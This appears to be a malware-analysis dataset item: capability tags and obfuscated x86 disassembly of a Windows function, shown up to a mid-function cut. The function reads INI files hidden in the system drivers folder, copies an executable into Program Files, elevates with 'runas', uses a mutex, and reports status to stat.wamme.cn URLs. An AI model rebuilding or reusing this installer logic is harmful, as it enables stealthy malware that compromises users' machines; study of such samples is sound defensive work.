Function at 0x402c40
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44494b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14a8
call fcn.0042aa70
mov eax, dword [0x458190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, dword [0x456824]
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], 0
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [0x45682c]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x329dfa79
imul esi
sar edx, 0x14
sub edi, ecx
mov ecx, dword [0x456838]
mov eax, edx
imul ecx, ecx, 0x15bc8b
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub edi, eax
add edi, ecx
add edi, edx
push 0
mov dword [str._r_____r____], edi
mov dword [ebp - 4], 0
call fcn.0042aa2a
mov ecx, dword [0x456838]
mov esi, eax
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x456824]
add eax, edi
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x53af19
add eax, ecx
sub eax, edx
add esp, 4
add eax, 0x42333a
mov dword [0x45681c], eax
call fcn.00441ed5
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0xfb4]
call fcn.00402b90
mov ecx, dword [ebp - 0xfb4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov edi, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402da0
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402db3
sub eax, edx
mov dword [ebp - 0xfac], eax
jne 0x4037b4
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x622f07f9
imul edi, edi, 0x54f550
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x456834]
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub edi, eax
push str.C:WINDOWS_system32driversetc_service3.ini
add ecx, edi
push 0x100
lea eax, [edx + ecx - 0x45ab63]
lea ecx, [ebp - 0x214]
push ecx
push 0x446e1d
push str.rand
push str.aaaaa
mov dword [0x456824], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x214]
push edx
call fcn.0042aa25
add esp, 4
test eax, eax
jle 0x402e63
lea eax, [ebp - 0x214]
push eax
call fcn.0042aa25
add esp, 4
mov esi, eax
mov eax, esi
cdq
mov ecx, 0x190
idiv ecx
mov ecx, edx
and edx, 0x80000001
mov dword [ebp - 0xfa8], ecx
jns 0x402e82
dec edx
or edx, 0xfffffffe
inc edx
cmp edx, 1
jne 0x402efc
mov esi, dword [0x456820]
mov ebx, dword [0x456830]
mov eax, 0x329dfa79
imul esi
mov edi, esi
imul edi, edi, 0x537276
sar edx, 0x14
add edi, edx
mov eax, edx
mov edx, ebx
imul edx, edx, 0x31e0ba
shr eax, 0x1f
add eax, edi
add eax, edx
mov edx, dword [0x456824]
imul edx, edx, 0x45ab63
add eax, edx
mov edx, dword [0x45681c]
mov edi, eax
mov eax, 0x224214b1
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov dword [0x45682c], edi
lea edi, [ecx - 1]
inc ecx
mov dword [ebp - 0xfb0], ecx
mov ecx, dword [0x456834]
jmp 0x402f80
mov edx, dword [0x45681c]
mov esi, dword [0x456828]
mov eax, 0x606c8017
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
imul ecx, ecx, 0x54f550
sub ecx, eax
mov eax, 0xc4570565
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
mov edi, dword [ebp - 0xfa8]
sub ecx, eax
mov ebx, dword [0x456830]
mov esi, dword [0x456820]
add ecx, edx
mov edx, dword [0x456834]
mov eax, 0x329dfa79
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea edx, [edi + 2]
mov dword [0x456834], ecx
mov dword [ebp - 0xfb0], edx
mov edx, dword [ebp - 0xfb0]
mov eax, 0x190
cmp edx, eax
jl 0x402f9c
mov eax, dword [ebp - 0xfa8]
dec eax
mov dword [ebp - 0xfb0], eax
mov eax, 0x521ee247
imul ebx, ebx, 0x537276
imul edi, edi, 0x22
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, esi
mov dword [ebp - 0xfa8], eax
mov eax, 0x759571eb
imul ecx
mov eax, dword [ebp - 0xfa8]
sar edx, 0x15
mov esi, edx
add eax, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
lea ebx, [edi + str.Installing]
add ecx, edx
push ebx
lea edx, [ebp - 0x114]
sub esi, ecx
push str.C:Program_Files_s
push edx
mov dword [0x456818], esi
call fcn.0042a331
add esp, 0xc
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 0xfb0]
imul ecx, ecx, 0x22
add ecx, str.Installing
push ecx
push ebx
lea edx, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push edx
call fcn.0042a331
mov ecx, dword [0x456838]
mov edi, dword [0x45681c]
mov eax, 0x606c8017
imul edi, edi, 0x536f78
imul dword [0x456824]
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x61e4609d
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x45ab63
sub edi, eax
sub edi, edx
add esp, 0x10
sub edi, esi
mov dword [0x456828], edi
mov edi, dword [0x45682c]
mov dword [ebp - 0xfa8], 0
mov eax, 0xc4570565
imul ecx, ecx, 0x15bc8b
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xcd620587
imul dword [0x456824]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub eax, edi
add ecx, esi
add ecx, eax
push 0x100
lea eax, [ebp - 0x214]
push eax
add edx, ecx
push 0
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x214]
push 0x8000
push ecx
call fcn.004371eb
mov ecx, dword [0x456838]
mov edi, eax
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x15bc8b
shr eax, 0x1f
add eax, esi
mov esi, dword [0x456830]
sub eax, edx
mov edx, esi
imul edx, edx, 0x53af19
add eax, edx
sub eax, dword [0x456824]
add eax, 0x42333a
add esp, 0xc
cmp edi, 0xffffffff
mov dword [0x45681c], eax
je 0x403421
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov eax, 0x622f07f9
imul esi, esi, 0x54f550
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x456834]
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub esi, eax
push 0x100000
add ecx, esi
lea eax, [edx + ecx - 0x45ab63]
push 0x459100
push edi
mov dword [0x456824], eax
call fcn.00435e08
mov esi, eax
push edi
mov dword [ebp - 0xfac], esi
call fcn.00435fa4
add esp, 0x10
cmp esi, 0x2800
jle 0x403415
mov ecx, dword [0x456820]
mov esi, ecx
mov eax, 0x329dfa79
imul esi, esi, 0x537276
imul ecx
mov ecx, dword [0x456830]
sar edx, 0x14
imul ecx, ecx, 0x31e0ba
mov edi, edx
add esi, edx
mov edx, dword [0x456824]
imul edx, edx, 0x45ab63
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45681c]
add edi, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
mov dword [0x45682c], edi
call fcn.0042aa2a
push eax
push 0x446b00
push 0x459400
call fcn.0042a331
push 0x180
lea ecx, [ebp - 0x114]
push 0x8302
push ecx
call fcn.004371eb
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x4032ef
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032b0
sub eax, edx
lea edx, [ebp + eax - 0x118]
push str.s.exe
push edx
call fcn.0042a331
push 0x180
lea eax, [ebp - 0x114]
push 0x8302
push eax
call fcn.004371eb
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x403415
mov edx, dword [0x45681c]
mov ecx, dword [0x456828]
mov eax, 0x606c8017
imul edx
mov edi, ecx
sar edx, 0x15
imul edi, edi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub edi, ecx
mov ecx, dword [0x456834]
add edi, edx
mov eax, 0x329dfa79
imul ecx
mov ecx, dword [ebp - 0xfac]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
push ecx
add eax, edx
sub edi, eax
push 0x459100
push esi
mov dword [0x456834], edi
call fcn.00433838
push 2
push 0
push esi
call fcn.004335bf
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456820]
mov edi, dword [0x456830]
mov eax, 0x521ee247
imul edi, edi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
add eax, ecx
mov ecx, dword [0x456834]
mov dword [ebp - 0xfac], eax
mov eax, 0x759571eb
imul ecx
mov eax, dword [ebp - 0xfac]
sar edx, 0x15
mov edi, edx
add eax, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfb0]
push edx
lea eax, [ebp - 0xe14]
push eax
sub edi, ecx
push esi
mov dword [0x456818], edi
call fcn.00433838
push esi
call fcn.00435fa4
add esp, 0x28
mov dword [ebp - 0xfa8], 1
mov esi, dword [0x456830]
mov ecx, dword [0x456838]
mov edi, dword [str._r_____r____]
mov eax, 0x329dfa79
imul edi, edi, 0x50ebd8
imul dword [0x45682c]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub edi, eax
mov eax, 0x1eefbef3
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub edi, eax
mov eax, dword [ebp - 0xfa8]
add edi, edx
sub edi, esi
sub edi, 0x45ab63
cmp eax, 1
mov dword [0x456820], edi
jne 0x4037a9
mov eax, 0x606c8017
imul ecx, ecx, 0x15bc8b
imul esi, esi, 0x53af19
imul dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul dword [0x45682c]
add edx, dword [0x45682c]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x329dfa79
imul dword [0x456824]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push str._s__33201_
add edi, esi
push edx
mov dword [str._r_____r____], edi
call fcn.0042a331
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xff8]
rep stosd dword es:[edi], eax
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
add esi, edx
mov eax, edx
mov edx, dword [0x456824]
shr eax, 0x1f
add eax, esi
sub eax, ecx
mov ecx, dword [0x456830]
mov esi, dword [str._r_____r____]
imul ecx, ecx, 0x53af19
add eax, ecx
imul esi, esi, 0x54f550
mov ecx, dword [0x45682c]
sub eax, edx
add eax, 0x42333a
mov dword [0x45681c], eax
mov eax, 0x622f07f9
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
sub esi, eax
mov eax, dword [0x456834]
add esp, 0xc
mov dword [ebp - 0xff8], 0x44
mov dword [ebp - 0xfcc], 1
mov word [ebp - 0xfc8], 5
add ecx, eax
imul edx, edx, 0x779018
add ecx, esi
lea eax, [edx + ecx - 0x45ab63]
lea ecx, [ebp - 0x1008]
push ecx
lea edx, [ebp - 0xff8]
push edx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x456824], eax
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40366a
mov ecx, dword [0x456820]
mov esi, ecx
mov eax, 0x329dfa79
imul esi, esi, 0x537276
imul ecx
mov ecx, dword [0x456830]
sar edx, 0x14
imul ecx, ecx, 0x31e0ba
mov edi, edx
add esi, edx
mov edx, dword [0x456824]
imul edx, edx, 0x45ab63
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45681c]
add edi, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
mov dword [0x45682c], edi
call fcn.0042a556
mov edx, dword [0x45681c]
mov ecx, dword [0x456828]
mov eax, 0x606c8017
imul edx
mov esi, ecx
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
push ebx
add eax, edx
lea ecx, [ebp - 0x114]
sub esi, eax
push str.C:Program_Files_s
push ecx
mov dword [0x456834], esi
call fcn.0042a331
add esp, 0xc
push 1
lea edx, [ebp - 0x114]
push edx
push 0
lea eax, [ebp - 0x214]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x404299
mov ecx, dword [0x456820]
mov esi, dword [0x456830]
mov eax, 0x521ee247
imul esi, esi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [0x456834]
mov eax, 0x759571eb
imul ecx
sar edx, 0x15
push 0
mov esi, edx
add edi, edx
push 0
mov eax, 0x224214b1
imul ecx
mov eax, dword [ebp + 8]
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x45680c
sar edx, 0x14
push 0
mov ecx, edx
push 0
shr esi, 0x1f
shr ecx, 0x1f
push 1
add ecx, edx
add esi, edi
add eax, 0x74
sub esi, ecx
push 0x68
push eax
mov dword [0x456818], esi
call fcn.0043c9da
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call esi
jmp 0x4037ba
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x456820]
mov edi, dword [0x456830]
mov eax, 0x521ee247
imul edi, edi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x456834]
mov eax, 0x759571eb
imul ecx
sar edx, 0x15
mov edi, edx
add ebx, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
shr edi, 0x1f
lea edx, [ebp - 0xfa4]
add edi, ebx
push edx
sub edi, ecx
push 0x101
mov dword [0x456818], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403838
push 0
call fcn.0042a556
push 0x3e8
call esi
push 0x413c
lea eax, [ebp - 0x314]
push 0x446b00
push eax
call fcn.0042a331
add esp, 0xc
lea ecx, [ebp - 0x314]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x559100], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov eax, 0x606c8017
jne 0x4038fc
mov edx, dword [0x45681c]
mov ecx, dword [0x456828]
imul edx
mov esi, ecx
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x456808]
cmp eax, 0xffffffff
mov dword [0x456834], esi
je 0x4038f5
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0042a556
mov ecx, dword [0x456838]
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x456824]
add eax, edi
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x53af19
add eax, ecx
sub eax, edx
add eax, 0x42333a
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45681c], eax
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
jne 0x40397e
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x40397e
push 0xea60
call esi
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x329dfa79
imul edi, edi, 0x50ebd8
imul ecx
mov ecx, dword [0x456820]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1eefbef3
imul ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub edi, ecx
mov ecx, dword [0x456830]
add edi, edx
sub edi, ecx
push 0
sub edi, 0x45ab63
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x456820], edi
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x40423f
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x40423f
mov ebx, dword [0x456824]
mov ecx, dword [0x456838]
mov edi, dword [0x45681c]
mov eax, 0x606c8017
imul edi, edi, 0x536f78
imul ebx
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x61e4609d
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, ecx
imul ecx, ecx, 0x15bc8b
imul edx, edx, 0x45ab63
sub edi, edx
sub edi, esi
mov dword [0x456828], edi
mov edi, dword [0x45682c]
mov eax, 0xc4570565
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xcd620587
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
push 0x446d94
imul edx, edx, 0x53af19
sub eax, edi
add ecx, esi
push 0x200
add ecx, eax
lea eax, [ebp - 0xc14]
push eax
push 0x446e1d
push str.ConfigL0
add edx, ecx
push str.GameType1
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x446e1d
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403e2d
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [0x456824]
add eax, esi
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x53af19
add eax, ecx
sub eax, edx
add eax, 0x42333a
lea edx, [ebp - 0xc14]
push edx
mov dword [0x45681c], eax
lea eax, [ebp - 0x14b8]
push 0x12c
push eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403e2d
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov edi, dword [0x456834]
imul esi, esi, 0x54f550
mov eax, 0x622f07f9
imul ecx
mov eax, dword [0x456828]
sar edx, 0x15
imul eax, eax, 0x779018
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x53af19
sub esi, ecx
add edx, edi
add edx, esi
lea ecx, [eax + edx - 0x45ab63]
mov edx, dword [ebp - 0x14b8]
mov eax, edx
mov dword [0x456824], ecx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403bd7
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x14ac]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x614]
jne 0x403bfe
push 0x446b08
jmp 0x403c03
push str._s_s
push ecx
call fcn.0042a331
mov ecx, dword [0x456820]
mov esi, ecx
mov eax, 0x329dfa79
imul esi, esi, 0x537276
imul ecx
mov eax, dword [0x456824]
mov ecx, dword [0x45681c]
imul eax, eax, 0x45ab63
sar edx, 0x14
mov edi, edx
add esi, edx
mov edx, dword [0x456830]
imul edx, edx, 0x31e0ba
shr edi, 0x1f
add edi, esi
add edi, edx
add edi, eax
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esp, 0x10
lea edx, [ebp - 0x614]
push edx
lea eax, [ebp - 0x414]
sub edi, ecx
push str._s.bak
push eax
mov dword [0x45682c], edi
call fcn.0042a331
add esp, 0xc
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x614]
push eax
call esi
mov edx, dword [0x45681c]
mov ecx, dword [0x456828]
mov eax, 0x606c8017
imul edx
mov edi, ecx
sar edx, 0x15
imul edi, edi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub edi, ecx
mov ecx, dword [0x456834]
add edi, edx
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x614]
sub edi, eax
push 0
push ecx
mov dword [0x456834], edi
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x403d97
mov ecx, dword [0x456820]
mov edi, dword [0x456830]
mov eax, 0x521ee247
imul edi, edi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x456834]
mov eax, 0x759571eb
imul ecx
sar edx, 0x15
mov edi, edx
add ebx, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
add ecx, edx
add edi, ebx
lea edx, [ebp - 0x414]
sub edi, ecx
push edx
mov dword [0x456818], edi
call esi
push 0
call fcn.0042a556
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov eax, 0x329dfa79
imul esi, esi, 0x50ebd8
imul ecx
mov ecx, dword [0x456820]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x1eefbef3
imul ecx
mov edi, dword [0x456830]
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub esi, ecx
add esi, edx
lea eax, [ebp - 0x614]
sub esi, edi
push eax
lea ecx, [ebp - 0x414]
sub esi, 0x45ab63
push ecx
mov dword [0x456820], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403e17
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call edi
jmp 0x403e33
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x456824]
mov ebx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov ecx, ebx
imul ecx, ecx, 0x536f78
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xbc70579
imul esi
mov eax, ecx
sar edx, 0x10
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x61e4609d
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
lea eax, [ebp - 0x814]
mov dword [0x456828], ecx
lea esi, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403ea0
sub eax, esi
mov dword [ebp - 0xfac], eax
push 0
jne 0x403eb8
call fcn.0042a556
mov eax, 0x606c8017
imul ebx
mov esi, ecx
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x814]
sub esi, eax
push ecx
mov dword [0x456834], esi
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
jne 0x404055
mov ecx, dword [0x45682c]
mov eax, 0x622f07f9
imul ecx
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456830]
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x521ee247
imul ecx
mov eax, dword [0x456834]
sar edx, 0x14
imul eax, eax, 0x45ab63
push 0
mov ecx, edx
push 0
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456820]
push 0
imul edx, edx, 0x53af19
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x45680c
sub ebx, esi
sub ebx, ecx
push 0
add ebx, edx
sub ebx, eax
mov eax, dword [ebp + 8]
push 0
push 1
